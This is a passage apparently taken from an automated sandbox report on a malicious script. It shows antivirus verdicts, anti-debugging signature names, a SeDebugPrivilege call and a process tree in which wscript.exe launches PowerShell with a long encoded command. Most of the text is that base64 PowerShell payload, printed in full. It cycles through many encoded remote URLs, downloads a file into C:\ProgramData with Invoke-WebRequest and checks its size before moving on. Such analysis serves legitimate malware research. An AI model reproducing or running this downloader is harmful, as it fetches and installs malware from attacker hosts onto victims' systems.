BpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
filepath: powershell
1 1 0
Kaspersky HEUR:Trojan.Script.Generic
McAfee-GW-Edition BehavesLike.JS.Exploit.gv
ALYac JS:Trojan.JS.Agent.UTF
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIA